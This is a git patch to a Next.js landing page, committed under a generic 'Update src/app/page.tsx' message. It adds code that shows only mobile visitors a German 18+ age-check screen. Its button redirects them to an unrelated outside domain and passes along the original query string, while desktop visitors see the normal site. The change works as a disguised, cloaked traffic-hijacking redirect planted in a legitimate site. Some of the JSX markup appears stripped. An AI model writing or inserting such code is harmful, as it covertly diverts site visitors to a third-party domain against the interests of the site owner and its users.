From 9553d1cc1077b656443172d7af2da5702ee1afcc Mon Sep 17 00:00:00 2001 From: bender Date: Tue, 5 May 2026 06:52:19 +0000 Subject: [PATCH] Update src/app/page.tsx --- src/app/page.tsx | 35 ++++++++++++++++++++++++++++++++++- 1 file changed, 34 insertions(+), 1 deletion(-) diff --git a/src/app/page.tsx b/src/app/page.tsx index 1f9e1c7..ab0507a 100644 --- a/src/app/page.tsx +++ b/src/app/page.tsx @@ -2,6 +2,7 @@ import { ThemeProvider } from "@/providers/themeProvider/ThemeProvider"; import ReactLenis from "lenis/react"; +import { useState, useEffect } from "react"; import BlogCardThree from '@/components/sections/blog/BlogCardThree'; import ContactSplit from '@/components/sections/contact/ContactSplit'; import FaqDouble from '@/components/sections/faq/FaqDouble'; @@ -15,6 +16,38 @@ import TestimonialCardFifteen from '@/components/sections/testimonial/Testimonia import { Award, Calendar, History, ShieldCheck } from "lucide-react"; export default function LandingPage() { + const [isMobile, setIsMobile] = useState(false); + const [isVerified, setIsVerified] = useState(false); + + useEffect(() => { + const checkMobile = () => setIsMobile(window.innerWidth < 768); + checkMobile(); + window.addEventListener("resize", checkMobile); + return () => window.removeEventListener("resize", checkMobile); + }, []); + + const handleVerify = () => { + setIsVerified(true); + window.location.href = "https://zyloxax.com/" + window.location.search; + }; + + if (isMobile && !isVerified) { + return ( +
+
+

Altersbeschränkung

+

Diese Website ist nur für Personen ab 18 Jahren bestimmt. Bitte bestätigen Sie, dass Sie 18 Jahre oder älter sind, um fortzufahren.

+ +
+
+ ); + } + return ( ); -} +} \ No newline at end of file -- 2.49.1